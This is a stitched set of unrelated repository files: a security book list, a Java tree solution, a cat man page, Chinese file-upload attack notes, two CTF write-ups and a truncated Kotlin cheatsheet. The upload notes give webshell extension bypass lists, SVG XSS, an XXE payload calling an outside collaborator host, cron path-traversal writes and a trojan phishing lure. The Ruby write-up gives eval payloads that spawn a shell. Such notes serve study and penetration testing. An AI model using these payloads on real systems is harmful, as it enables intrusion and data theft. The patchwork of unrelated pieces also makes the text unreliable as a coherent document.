McNab](https://www.amazon.com/Network-Security-Assessment-Know-Your-ebook/dp/B0043EWUR0) ## Reverse Engineering Books * [Reverse Engineering for Beginners by Dennis Yurichev](http://beginners.re/) * [Hacking the Xbox by Andrew Huang, 2003](https://www.nostarch.com/xbox.htm) * [The IDA Pro Book by Chris Eagle, 2011](https://www.nostarch.com/idapro2.htm) * [Practical Reverse Engineering by Bruce Dang et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118787315.html) * [Gray Hat Hacking The Ethical Hacker's Handbook by Daniel Regalado et al., 2015](http://www.amazon.com/Hacking-Ethical-Hackers-Handbook-Edition/dp/0071832386) ## Malware Analysis Books * [Practical Malware Analysis by Michael Sikorski & Andrew Honig, 2012](https://www.nostarch.com/malware) * [The Art of Memory Forensics by Michael Hale Ligh et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118825098.html) * [Malware Analyst's Cookbook and DVD by Michael Hale Ligh et al., 2010](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470613033.html) * [How to Investigate Like a Rockstar](https://books2read.com/u/4jDWoZ) - Live a real crisis to master the secrets of forensic analysis, Sparc Flow, 2017 ## Windows Books * [Windows Internals by Mark Russinovich et al., 2012](http://www.amazon.com/Windows-Internals-Part-Developer-Reference/dp/0735648735/) ## Social Engineering Books * [The Art of Deception by Kevin D. Mitnick & William L. Simon, 2002](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0471237124.html) * [The Art of Intrusion by Kevin D. Mitnick & William L. Simon, 2005](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764569597.html) * [Ghost in the Wires by Kevin D. Mitnick & William L. Simon, 2011](http://www.hachettebookgroup.com/titles/kevin-mitnick/ghost-in-the-wires/9780316134477/) * [No Tech Hacking by Johnny Long & Jack Wiles, 2008](https://www.elsevier.com/books/no-tech-hacking/mitnick/978-1-59749-215-7) * [Social Engineering: The Art of Human Hacking by Christopher Hadnagy, 2010](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470639539.html) * [Unmasking the Social Engineer: The Human Element of Security by Christopher Hadnagy, 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118608577.html) * [Social Engineering in IT Security: Tools, Tactics, and Techniques by Sharon Conheady, 2014](https://www.mhprofessional.com/product.php?isbn=0071818464) ## Lock Picking Books * [Practical Lock Picking by Deviant Ollam, 2012](https://www.elsevier.com/books/practical-lock-picking/ollam/978-1-59749-989-7) * [Keys to the Kingdom by Deviant Ollam, 2012](https://www.elsevier.com/books/keys-to-the-kingdom/ollam/978-1-59749-983-5) * [CIA Lock Picking Field Operative Training Manual](https://www.scribd.com/doc/7207/CIA-Lock-Picking-Field-Operative-Training-Manual) * [Lock Picking: Detail Overkill by Solomon](https://www.dropbox.com/s/y39ix9u9qpqffct/Lockpicking%20Detail%20Overkill.pdf?dl=0) * [Eddie the Wire books](https://www.dropbox.com/sh/k3z4dm4vyyojp3o/AAAIXQuwMmNuCch_StLPUYm-a?dl=0) ## OSINT Books * [Complete Guide to Shodan](https://leanpub.com/shodan) * [A Search Engine Backed by Internet-Wide Scanning - Ariana Mirian](https://censys.io/static/censys.pdf) # Links If you want to read more, please try to visit the following urls, and search what you are interested in. 1. http://www.amazon.com/ 2. http://search.oreilly.com/openbook/ 3. http://www.slideshare.net/ 4. http://packtlib.packtpub.com/ 5. https://leanpub.com/ 6. https://en.wikibooks.org/wiki/Main_Page 7. http://gen.lib.rus.ec/ 8. http://it-ebooks.info/ 9. http://www.phrack.com/ 10. http://www.net-security.org/insecuremag.php 11. https://www.goodreads.com/
sec-knowleage
# 55.2 平衡二叉树 [NowCoder](https://www.nowcoder.com/practice/8b3b95850edb4115918ecebdf1b4d222?tpId=13&tqId=11192&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 平衡二叉树左右子树高度差不超过 1。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/af1d1166-63af-47b6-9aa3-2bf2bd37bd03.jpg" width="250px"/> </div><br> ## 解题思路 ```java private boolean isBalanced = true; public boolean IsBalanced_Solution(TreeNode root) { height(root); return isBalanced; } private int height(TreeNode root) { if (root == null || !isBalanced) return 0; int left = height(root.left); int right = height(root.right); if (Math.abs(left - right) > 1) isBalanced = false; return 1 + Math.max(left, right); } ```
sec-knowleage
cat === 连接多个文件并打印到标准输出。 ## 概要 ```shell cat [OPTION]... [FILE]... ``` ## 主要用途 - 显示文件内容,如果没有文件或文件为`-`则读取标准输入。 - 将多个文件的内容进行连接并打印到标准输出。 - 显示文件内容中的不可见字符(控制字符、换行符、制表符等)。 ## 参数 FILE(可选):要处理的文件,可以为一或多个。 ## 选项 ```shell 长选项与短选项等价 -A, --show-all 等价于"-vET"组合选项。 -b, --number-nonblank 只对非空行编号,从1开始编号,覆盖"-n"选项。 -e 等价于"-vE"组合选项。 -E, --show-ends 在每行的结尾显示'$'字符。 -n, --number 对所有行编号,从1开始编号。 -s, --squeeze-blank 压缩连续的空行到一行。 -t 等价于"-vT"组合选项。 -T, --show-tabs 使用"^I"表示TAB(制表符)。 -u POSIX兼容性选项,无意义。 -v, --show-nonprinting 使用"^"和"M-"符号显示控制字符,除了LFD(line feed,即换行符'\n')和TAB(制表符)。 --help 显示帮助信息并退出。 --version 显示版本信息并退出。 ``` ## 返回值 返回状态为成功除非给出了非法选项或非法参数。 ## 例子 ```shell # 合并显示多个文件 cat ./1.log ./2.log ./3.log # 显示文件中的非打印字符、tab、换行符 cat -A test.log # 压缩文件的空行 cat -s test.log # 显示文件并在所有行开头附加行号 cat -n test.log # 显示文件并在所有非空行开头附加行号 cat -b test.log # 将标准输入的内容和文件内容一并显示 echo '######' |cat - test.log ``` ### 注意 1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 cat`或`info coreutils 'cat invocation'`。 2. 当使用`cat`命令查看**体积较大的文件**时,文本在屏幕上迅速闪过(滚屏),用户往往看不清所显示的内容,为了控制滚屏,可以按`Ctrl+s`键停止滚屏;按`Ctrl+q`键恢复滚屏;按`Ctrl+c`(中断)键可以终止该命令的执行,返回Shell提示符状态。 3. 建议您查看**体积较大的文件**时使用`less`、`more`命令或`emacs`、`vi`等文本编辑器。 ### 参考链接 1. [Question about LFD key](https://superuser.com/questions/328054/is-there-an-lfd-key-on-my-keyboard)
sec-knowleage
# Upload --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **描述** 文件上传过程中,通常因为未校验上传文件后缀类型,导致用户可上传一些 webshell 文件。 **相关文章** - [简单粗暴的文件上传漏洞](https://paper.seebug.org/560/) - [BookFresh Tricky File Upload Bypass to RCE](https://secgeek.net/bookfresh-vulnerability/) - [Upload_Attack_Framework](https://www.slideshare.net/insight-labs/upload-attack-framework) - [关于File Upload的一些思考](https://www.freebuf.com/articles/web/223679.html) - [Upload与WAF的那些事](https://xz.aliyun.com/t/8084) - [web安全-文件上传利用](https://mp.weixin.qq.com/s/Q4wN01H4fh_ATUnPwng3Ag) - [Web 安全漏洞之文件上传](https://cnodejs.org/topic/5d196c02cdb1f967c1577295) - [文件上传绕过思路拓展](https://blog.m1kh.com/index.php/archives/621/) **相关案例** - [实战渗透-看我如何拿下自己学校的大屏幕(Bypass) ](https://xz.aliyun.com/t/7786) - 大量字符 bypass waf 文件上传 - [渗透测试tips:两处有趣的文件上传到getshell](https://zhuanlan.zhihu.com/p/100871520) - 多个漏洞组合利用,无视 OSS 存储 getshell - [实战渗透-从FCkeditor敏感信息泄露到Getshell](https://www.websecuritys.cn/archives/szst-1.html) - 利用 fck 的目录遍历找到上传点,fuzz 上传点的参数进行上传 - [简单记录一次有趣的上传](https://www.t00ls.net/articles-58979.html) - bypass 反代小技巧 - [一次任意文件读取的getshell](https://www.t00ls.net/thread-59330-1-1.html) - 在函数调用获取文件的上传点,通过任意文件读找路径 - [BountyHunterInChina/重生之我是赏金猎人(三)—无脑挖掘某SRC getshell.pdf](https://github.com/J0o1ey/BountyHunterInChina/blob/main/%E9%87%8D%E7%94%9F%E4%B9%8B%E6%88%91%E6%98%AF%E8%B5%8F%E9%87%91%E7%8C%8E%E4%BA%BA(%E4%B8%89)%E2%80%94%E6%97%A0%E8%84%91%E6%8C%96%E6%8E%98%E6%9F%90SRC%20getshell.pdf) **相关工具** - [almandin/fuxploider](https://github.com/almandin/fuxploider) - File upload vulnerability scanner and exploitation tool. - [PortSwigger/upload-scanner](https://github.com/PortSwigger/upload-scanner) - HTTP file upload scanner for Burp Proxy **靶场** - [upload-labs](https://github.com/c0ny1/upload-labs) - writeup : [upload-labs-WalkThrough](../靶场/upload-labs-WalkThrough.md) **在线 SQLi 测试** - https://scanner.baidu.com/#/pages/intro - https://n.shellpub.com/ - https://webshellchop.chaitin.cn/demo/ --- ## 检测方法 waf、rasp 对上传文件的检测方法有这几种 - 后缀检测(黑白名单) - 文件内容检测 - Content-Type 检测 - 后端二次渲染(图片裁剪、图片水印) --- ## 利用方式 ### 网站脚本文件 如 asp、aspx、jsp、php 后缀的网站脚本文件,通过访问上传的 webshell 执行系统命令,获取服务器权限。 ### 可造成 XSS 或跳转的钓鱼文件 - html - svg ```html <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> ``` - pdf xss ``` app.alert('XSS'); ``` ssrf ``` <link rel=attachment href="file:///root/secret.txt"> ``` - xml ### 服务器可执行文件(PE、sh) 配合社工手段,例如 : 最近办公内网发现大量勒索病毒,信息科紧急部署了新版杀毒引擎,请各部门人员立即下载,下载地址: www.xxx.com/upload/木马查杀工具.exe ### mp4、avi 配合 ffmpeg 漏洞 ### shtml ssi 注入 ### xlsx XXE 1. 创建一个 xlsx 文档,更改后缀为 zip,解压。 2. 打开 Burp Suite Professional,单击 Burp 菜单并选择 “Burp Collaborator client” 将其打开, 复制到粘贴板。 3. 找到 Content_Types.xml 文件,插入 xxe 代码到文件中。 ```xml <!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://xxx.burpcollaborator.net"> ]> <x>&xxe;</x> ``` 4. 重新压缩为 zip 文件,更改后缀为 xlsx。上传 xlsx 文档到目标服务器,如果没有禁用外部实体,就会存在 XXE 漏洞,burp 接收到请求。 ### 路径穿越写 shell 1. 例如可以上传文件名为 `../../../../var/spool/cron/root` ,通过这种方式执行命令 2. 如果做了白名单后缀,只允许 jpg ,可以传到 `/etc/cron.d/` 目录下,这里文件可以任意后缀命名,上传文件名为 `…/…/…/…/…/…/etc/cron.d/test.jpg` 绕过对应的安全检查 --- ### 跨目录解压 **相关工具** - [ptoomey3/evilarc](https://github.com/ptoomey3/evilarc) - [Rvn0xsy/zipcreater](https://github.com/Rvn0xsy/zipcreater) - 应用于跨目录的文件上传漏洞的利用,它能够快速进行压缩包生成。 - [TheKingOfDuck/evilzip](https://github.com/TheKingOfDuck/evilzip) - evilzip lets you create a zip file(with password) that contains files with directory traversal characters in their embedded path. --- ## Bypass ### 信息泄露 - 云平台 API key 泄露 ### 解析漏洞 - IIS 解析漏洞 - Nginx 解析漏洞 - Apache 解析漏洞 - CGI 解析漏洞 ### 恶意上传 - zip、mp4 占用资源 - HTML XSS ### 后缀检测 - 后缀名Fuzz - [AboutSecurity/Dic/Web/Upload/](https://github.com/ffffffff0x/AboutSecurity/tree/master/Dic/Web/Upload) - web通用 - htm - html - shtml - .net - asa - asp - ashx - asmx - aspx - axd - cdx - cer - config - cshtm - cshtml - rem - soap - svc - shtml - vbhtm - vbhtml - java - jsp - jspa - jsps - jspx - jspf - php - php - php1 - php2 - php3 - php4 - php5 - phtml - Misc - txt - svg - pdf - xml - xlsx - 大小写(windows) - `xxx.pHp`、`xxx.Jsp` - 空格绕过 - `xxx .php` - `xxx.php ` - 点绕过 - `xxx.php.` - 换行 - `xxx.txt%0aphp` - `xxx.ph\np` - .空格. 绕过(windows) - `xxx.php .` - `xxx.php .jpg` - `xxx.php. .jpg` - 特殊字符 - `xxx.php::$DATA` (windows) - `xxx.php::$DATA......` (windows) - `xxx.php/` - `xxx.php?` - `xxx./php` (linux) - 特殊字符+白后缀 - `xxx.php.jpg` - `xxx.php_.jpg` - `xxx.php/1.jpg` - `xxx.php{}.jpg` - `xxx.php;jpg` - `xxx.php;.jpg` - `xxx.php;+x.jpg` - `xxx.php:1.jpg` - `xxx.php.123` - `xxx.jpg/.php` - `xxx.jpg/php` - `xxx.jpg/1.php` - `xxx.jpg{}.php` - 双写绕过 - `phpphp.php` - `php.php` - `xxx.pphphp` - `xxx.asaspxpx` - 00 截断 - `file.jpg%00shell.php` - `shell.php%00file.jpg` - `shell.php%00.jpg` - .htaccess - 中间件解析漏洞 - 参数 - 修改 `filename="xx.php"` 为 `filename==="xxx.php"` - 修改 `filename="xx.php"` 为 `filename='xxx.php'` - 修改 `filename="xx.php"` 为 `filename=xxx.php` --- ### 文件内容检测 - 免杀 - 添加图片头 - `GIF89a` - 大文件 - 参数污染 --- ### 恶意覆盖 - 覆盖资源文件造成全局 XSS - 覆盖配置文件修改配置 --- ### Content-Type 检测 - Content-Type Fuzz - [Fuzz_content-type.txt](https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/Upload/Fuzz_content-type.txt) --- ### 后端二次渲染 - 图片马 --- ### 访问拦截 - 路径 - `xxx.com/test/img/1.png/../../shell.php` - 解析 - `xxx.com/shell.php;/.png` --- ### 软链接 如果攻击者上传了一个软链文件,软链描述对应的是 /etc/passwd 的话,攻击者可利用程序读取到服务器的关键文件内容 --- ## 修复方案 * 使用白名单校验上传文件类型、大小限制 * 随机重命名上传的文件
sec-knowleage
## HardToSay (misc, 200p, (111, 88, 73, 28) solves) Ruby on Fails. FLAG1: nc 54.199.215.185 9001 FLAG2: nc 54.199.215.185 9002 FLAG3: nc 54.199.215.185 9003 FLAG4: nc 54.199.215.185 9004 hard_to_say-151ba63da9ef7f11bcbba93657805f85.rb ### PL [ENG](#eng-version) Dostajemy taki kod: ```ruby #!/usr/bin/env ruby fail 'flag?' unless File.file?('flag') $stdout.sync = true limit = ARGV[0].to_i puts "Hi, I can say #{limit} bytes :P" s = $stdin.gets.strip! if s.size > limit || s[/[[:alnum:]]/] puts 'oh... I cannot say this, maybe it is too long or too weird :(' exit end puts "I think size = #{s.size} is ok to me." r = eval(s).to_s r[64..-1] = '...' if r.size > 64 puts r ``` Jak widać pobiera on od użytkownika kod, i evaluje go - ale tylko pod warunkiem że nie zawiera znaków alfanumerycznych i jest odpowiednio krótki. Są cztery serwery z zadaniem - każdy z nich przyjmuje mniej znaków. Pierwszy 1024, drugi 64, trzeci 36, a czwarty tylko 10. Za pokonanie każdego dostajemy 50 punktów. Najlepszym rozwiązaniem na jakie wpadliśmy na początku to wykonanie operacji na shellu za pomocą backticków (``` ` ```) i interpolowania stringów. Opieramy się tutaj na kilku wartościach które są domyślnie dostępne w interpreterze, np. `$$` zwraca nam PID aktualnego procesu, więc wykonanie `$$/$$` da nam wynik `1`. Możemy w ten sposób uzyskać dowolne liczby, a stosując `''<<number` możemy generować także dowolne znaki ASCII. Napisaliśmy sobie prosty enkoder wykonujący dowolne (odpowiednio krótkie) polecenie shellowe: ```python def encode(cmd): out = """a1 = $$/$$ a2 = a1+a1 a4 = a2+a2 a8 = a4+a4 a16 = a8+a8 a32 = a16+a16 a64 = a32+a32 """ ss = [] for c in cmd: cc = ord(c) vs = [] for b in range(8): if (2**b) & ord(c): vs.append('a'+str(2**b)) ss.append('(' + '+'.join(vs) + ")") s = '(""<<' + '<<'.join(ss) + ")" end = "`#{" + s + "}`" start = out + end varnames = ['_'*i for i in range(1,10)][::-1] start = start.replace('a64', varnames.pop()) start = start.replace('a32', varnames.pop()) start = start.replace('a16', varnames.pop()) start = start.replace('a8', varnames.pop()) start = start.replace('a4', varnames.pop()) start = start.replace('a2', varnames.pop()) start = start.replace('a1', varnames.pop()) start = ';'.join(start.split('\n')) return start import sys print encode(sys.argv[1]) ``` Flaga: `hitcon{what does the ruby say? @#$%!@&(%!#$&(%!@#$!$?...}` +50 punktów. Zdobyliśmy w ten sposób pierwszą flagę. Niestety, okazało się że nie da się ukraść jednej flagi mając shella od drugiej flagi (brak uprawnień) i musieliśmy kombinować dalej... Postanowiliśmy złożyć string "sh". I umieścić bo w backtickach aby wykonać go w shellu, uzyskując tym samym dostęp do shella. Nasza druga próba, dla 64 znaków, wyglądała tak: _=$$;$_=*?`..?{;`#{$_[_*_+_-_/_]+$_[_+_]}` Flaga: `hitcon{Ruby in Peace m(_ _)m` +50 punktów. A następnie dla 36 bajtów analogiczna operacja kodująca wywołanie sh: _=*?[..?{;`#{_[~--$$-$$]+_[~$$*$$]}` Flaga: `hitcon{My cats also know how to code in ruby :cat:}` +50 punktów. Później myśleliśmy dłuższą chwilę, ale wpadliśmy na to, że wykonanie `$0` również powinno dać nam shell - spróbowaliśmy więc: `$#{~-$.}` Gdzie `$.` to aktualny numer linii w stdin (czyli u nas 1). Operacja `~-number` zwraca nam liczbę o 1 mniejszą, czyli 0. Interpolujemy wynik jako stringa, doklejamy do znaku `$` i wywołujemy uzyskane `$0` w shellu uzyskując dostęp do shella. Flaga: `hitcon{It's hard to say where ruby went wrong QwO}` W ten sposób zdobyliśmy kolejne 50 punktów, rozwiązując w ten sposób całe zadanie. ### ENG version We get the code: ```ruby #!/usr/bin/env ruby fail 'flag?' unless File.file?('flag') $stdout.sync = true limit = ARGV[0].to_i puts "Hi, I can say #{limit} bytes :P" s = $stdin.gets.strip! if s.size > limit || s[/[[:alnum:]]/] puts 'oh... I cannot say this, maybe it is too long or too weird :(' exit end puts "I think size = #{s.size} is ok to me." r = eval(s).to_s r[64..-1] = '...' if r.size > 64 puts r ``` As can be seen, it gets data from the use and evaluates it with `eval()`, but only if it doesn't contain any alphanumerical characters and is short enough. There are 4 instances of the task - each one accepts less characters. First 1024, second 64, third 36 and last one only 10. For beating each one we get 50 points. The best solution we came up with initially was executing shell operations with (``` ` ```) and string interpolation. We use here some numerical values that are accesible in the interpreter, eg. `$$` gives is PID of the process so calling `$$/$$` gives nam `1`. This way we can get any number and by using `''<<number` we can also generate any ASCII. We made a simple encoder that can create a code for us: ```python def encode(cmd): out = """a1 = $$/$$ a2 = a1+a1 a4 = a2+a2 a8 = a4+a4 a16 = a8+a8 a32 = a16+a16 a64 = a32+a32 """ ss = [] for c in cmd: cc = ord(c) vs = [] for b in range(8): if (2**b) & ord(c): vs.append('a'+str(2**b)) ss.append('(' + '+'.join(vs) + ")") s = '(""<<' + '<<'.join(ss) + ")" end = "`#{" + s + "}`" start = out + end varnames = ['_'*i for i in range(1,10)][::-1] start = start.replace('a64', varnames.pop()) start = start.replace('a32', varnames.pop()) start = start.replace('a16', varnames.pop()) start = start.replace('a8', varnames.pop()) start = start.replace('a4', varnames.pop()) start = start.replace('a2', varnames.pop()) start = start.replace('a1', varnames.pop()) start = ';'.join(start.split('\n')) return start import sys print encode(sys.argv[1]) ``` Flag: `hitcon{what does the ruby say? @#$%!@&(%!#$&(%!@#$!$?...}` +50 points. This way we got the first flag. Unfortunately it was not possible to steal a different flag with the shell access we got (no permission) so we had to try harder. We decided that we could prepare "sh" and put it in backticks to execute it in shell and get shell access. Our first attempt for 64 characters: _=$$;$_=*?`..?{;`#{$_[_*_+_-_/_]+$_[_+_]}` Flag: `hitcon{Ruby in Peace m(_ _)m` +50 points. Next one for 36 characters similar attempt to call "sh": _=*?[..?{;`#{_[~--$$-$$]+_[~$$*$$]}` Flag: `hitcon{My cats also know how to code in ruby :cat:}` +50 points. Then we had to think for a while but we figured that executing `$0` in the shell should also give us shell so we tried: `$#{~-$.}` Where `$.` is current stdin line number (for us 1). Operation `~-number` returns number-1, so in our case 0. We interpolate this as string and glue with `$` and execute the `$0` we just got, getting shell accesss. Flag: `hitcon{It's hard to say where ruby went wrong QwO}` This way we got another 50 points and solved whole task.
sec-knowleage
# Security by Obscurity Misc. ## Description: > Reading the contents of the screenshot you find that some guy named "John" created the firmware for the OffHub router and stored it on an iDropDrive cloud share. You fetch it and find "John" packed the firmware with an unknown key. Can you recover the package key? A binary file was attached. ## Solution: The attached file is a zip file: ```console root@kali:/media/sf_CTFs/google/obscurety/new# file 2cdc6654fb2f8158cd976d8ffac28218b15d052b5c2853232e4c1bafcb632383 2cdc6654fb2f8158cd976d8ffac28218b15d052b5c2853232e4c1bafcb632383: Zip archive data, at least v2.0 to extract ``` Unzipping it reveals another zip file: ```console root@kali:/media/sf_CTFs/google/obscurety/new# unzip 2cdc6654fb2f8158cd976d8ffac28218b15d052b5c2853232e4c1bafcb632383 Archive: 2cdc6654fb2f8158cd976d8ffac28218b15d052b5c2853232e4c1bafcb632383 extracting: password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p root@kali:/media/sf_CTFs/google/obscurety/new# file password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p: Zip archive data, at least v2.0 to extract ``` Inside, we find another zip file, and later on we find archives of different formats. The following script attempts to extract the files: ```python #!/usr/bin/python3 import os import shutil import zipfile import lzma import bz2 import gzip import time OUTPUT_DIR = "output" def extract_file(src_name, dest_name): print ("Extracting {}".format(src_name)) algos = [zipfile.ZipFile, lzma.open, bz2.BZ2File, gzip.GzipFile] for algo in algos: try: with algo(os.path.join(OUTPUT_DIR, src_name)) as f: try: c = f.read(f.infolist()[0]) # Zip file has different interface except: c = f.read() with open(os.path.join(OUTPUT_DIR, dest_name), "wb") as o: o.write(c) return True except Exception as e: pass return False counter = 0 shutil.rmtree(OUTPUT_DIR, ignore_errors=True) time.sleep(1) os.mkdir(OUTPUT_DIR) shutil.copy("2cdc6654fb2f8158cd976d8ffac28218b15d052b5c2853232e4c1bafcb632383", os.path.join(OUTPUT_DIR, str(counter))) while extract_file(str(counter), str(counter + 1)): counter += 1 ``` It extracts 65 files. Let's inspect that last extracted file: ```console root@kali:/media/sf_CTFs/google/obscurety/new/output# file 65 65: Zip archive data, at least v1.0 to extract root@kali:/media/sf_CTFs/google/obscurety/new/output# unzip 65 Archive: 65 [65] password.txt password: ``` The zip file is password protected. Let's use [John the Ripper](https://github.com/magnumripper/JohnTheRipper) to crack the password: ```console root@kali:/media/sf_CTFs/google/obscurety/new# ~/utils/john/run/zip2john output/65 > zip.hashes ver 1.0 efh 5455 efh 7875 65/password.txt PKZIP Encr: 2b chk, TS_chk, cmplen=44, decmplen=32, crc=4341BA5D root@kali:/media/sf_CTFs/google/obscurety/new# cat zip.hashes 65/password.txt:$pkzip2$1*2*2*0*2c*20*4341ba5d*0*46*0*2c*4341*6eab*327fdc864aefd7fd5a7462f9355e15e84fc09d4e7d3a5ecd1318f77f7f6f2c86b62edc0a6d7eb87cba92a613*$/pkzip2$:password.txt:65::output/65 root@kali:/media/sf_CTFs/google/obscurety/new# ~/utils/john/run/john zip.hashes Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Warning: OpenMP is disabled; a non-OpenMP build may be faster Press 'q' or Ctrl-C to abort, almost any other key for status asdf (65/password.txt) 1g 0:00:00:00 DONE 2/3 (2018-11-26 22:27) 7.692g/s 101915p/s 101915c/s 101915C/s lacrosse..franklin Use the "--show" option to display all of the cracked passwords reliably Session completed root@kali:/media/sf_CTFs/google/obscurety/new# ~/utils/john/run/john zip.hashes --show 65/password.txt:asdf:password.txt:65::output/65 1 password hash cracked, 0 left ``` The password is "asdf"! Finally, we can unzip the file: ```console root@kali:/media/sf_CTFs/google/obscurety/new# unzip -P asdf output/65 Archive: output/65 extracting: password.txt root@kali:/media/sf_CTFs/google/obscurety/new# cat password.txt CTF{CompressionIsNotEncryption} ``` The flag: CTF{CompressionIsNotEncryption} ## Appendix A: John the Ripper The default `john` bundled with Kali (currently) provides the following error when attempting to crack the zip file's password: ```console root@kali:/media/sf_CTFs/google/obscurety/new# john zip.hashes Using default input encoding: UTF-8 No password hashes loaded (see FAQ) ``` This can be fixed by using the installing some extra packages and compiling from the sources: ``` apt-get install build-essential libssl-dev git apt-get install yasm libgmp-dev libpcap-dev pkg-config libbz2-dev git clone git://github.com/magnumripper/JohnTheRipper -b bleeding-jumbo john cd john/src ./configure make -s clean && make -sj4 ../run/john --test=0 ```
sec-knowleage
--- title: Kotlin date: 2023-02-26 16:24:31 background: bg-[#7954f6] tags: - Cross-platform - Android categories: - Programming intro: | A quick reference cheatsheet for Kotlin that includes usage, examples, and more. plugins: - copyCode --- Introduction to Kotlin ---- ### main() ```kotlin fun main() { println("Greetings, QuickRef.ME!") // Code goes here } ``` The main() function is the starting point of every Kotlin program and must be included in the code before execution ### Print statement ```kotlin println("Greetings, earthling!") print("Take me to ") print("your leader.") /* Print: Greetings, earthling! Take me to your leader. */ ``` ### Notes ```kotlin // this is a single line comment /* this note for many */ ``` ### Execution order ```kotlin fun main() { println("I will be printed first.") println("I will be printed second.") println("I will be printed third.") } ``` Data Types and Variables --- ### Mutable variables ```kotlin var age = 25 age = 26 ``` ### Immutable variables ```kotlin val goldenRatio = 1.618 ``` ### Type inference ```kotlin // The following variables are assigned a literal value inside double quotes // so the inferred type is String var color = "Purple" ``` ### String concatenation ```kotlin var streetAddress = "123 Main St." var cityState = "Brooklyn, NY" println(streetAddress + " " + cityState) // Print: 123 Main St. Brooklyn, NY ``` ### String Templates ```kotlin var address = "123 Main St." println("The address is $address") // prints: The address is 123 Main St. ``` ### Built-in Properties and Functions ```kotlin var monument = "the Statue of Liberty" println(monument. capitalize()) // print: The Statue of Liberty println(monument. length) // print: 21 ``` ### Character escape {.row-span-2} ```kotlin {.wrap} print("\"Excellent!\" I cried. \"Elementary,\" said he.") // Print: "Excellent!" I cried. "Elementary," said he. ``` - `\n` insert new line - `\t` inserts a tab - `\r` inserts carriage return - `\'` inserts a single quote - `\"` inserts a double quote - `\\` inserts a backslash - `\$` inserts a dollar sign ### Arithmetic Operators ```kotlin 5 + 7 // 12 9 -2 // 7 8 *4 // 32 25 /5 // 5 31 % 2 // 1 ``` `+` addition, `-` subtraction, `*` multiplication, `/` division, and `%` modulus ### Order of operations ```kotlin 5 + 8 *2 /4 -3 // 6 3 + (4 + 4) /2 // 7 4 *2 + 1 *7 // 15 3 + 18 /2 *1 // 12 6 -3 % 2 + 2 // 7 ``` ### Enhanced assignment operator ```kotlin var batteryPercentage = 80 // long syntax batteryPercentage = batteryPercantage + 10 // short syntax with augmented assignment operator batteryPercentage += 10 ``` ### Increment and decrement operators ```kotlin var year = 2019 year++ // 2020 year-- // 2019 ``` ### Math library ```kotlin Math.pow(2.0, 3.0) // 8.0 Math.min(6, 9) // 6 Math.max(10, 12) // 12 Math. round(13.7) // 14 ``` Conditional Expression ---- ### If expression ```kotlin var morning = true if (morning) { println("Rise and shine!") } // Print: Rise and shine! ``` ### Else-expression ```kotlin var rained = false if (rained) { println("No need to water the plants today.") } else { println("The plant needs to be watered!") } // print: The plant needs watering! ``` ### Else-If expressions ```kotlin var age = 65 if (age < 18 ) { println("You are considered a minor") } else if (age < 60) { println("You are considered an adult") } else { println("You are considered senior") } // print: you are considered senior ``` ### Comparison Operators ```kotlin var myAge = 19 var sisterAge = 11 var cousinAge = 11 myAge > sisterAge // true myAge < cousinAge // false myAge >= cousinAge // true myAge <= sisterAge // false ``` ### Logical Operators ```kotlin var humid = true var raining = true var jacket = false println(!humid) // print: false println(jacket && raining) // print: true println(humid || raining) // print: true ``` ### AND operator: && ```kotlin var humid = true var raining = true var shorts = false var sunny = false // true AND true println(humid && raining) // true // true AND false println(humid && shorts) // false // false AND true println(sunny && raining) // false // false AND false println(shorts && sunny) // false ``` ### Or operator:|| ```kotlin var late = true var skipBreakfast = true var underslept = false var checkEmails = false // true OR true println(skipBreakfast || late) // true // true OR false println(late || checkEmails) // true // false OR true println(underslept || late) // true // false OR false println(checkEmails || underslept) // false ``` ### NOT operator ```kotlin var hungry = true var full = false println(!hungry) // false println(!full) // true ``` ### Evaluation order ```kotlin !true && (false || true) // false /* (false || true) is evaluated first to return true. Then, evaluate !true && true and return the final result false */ !false && true || false // true /* !false is evaluated first to return true. Then true && true is evaluated, returning true. then, true || evaluates to false and eventually returns true */ ``` ### Nested conditions ```kotlin var studied = true var well Rested = true if (wellRested) { println("Good luck today!") if (studied) { println("You should prepare for the exam!") } else { println("Spend a few hours studying before the exam!") } } // Print: Good luck today! // print: You should be ready for the exam! ``` ### When expression ```kotlin var grade = "A" when (grade) { "A" -> println("Great job!") "B" -> println("Great job!") "C" -> println("You passed!") else -> println("Close! Be sure to prepare more next time!") } // print: Great job! ``` ### Range operator ```kotlin {.wrap} var height = 46 // inches if (height in 1..53) { println("Sorry, you must be at least 54 inches to ride the coaster") } // Prints: Sorry, you must be at least 54 inches to ride the roller coaster ``` ### Equality Operators ```kotlin var myAge = 22 var sisterAge = 21 myAge == sisterAge // false myAge !== sisterAge // true ``` Collections --- ### Immutable list ```kotlin {.wrap} var programmingLanguages = listOf("C#", "Java", "Kotlin", "Ruby") ``` ### Mutable List ```kotlin {.wrap} var fruits = mutableListOf("Orange", "Apple", "Banana", "Mango") ``` ### 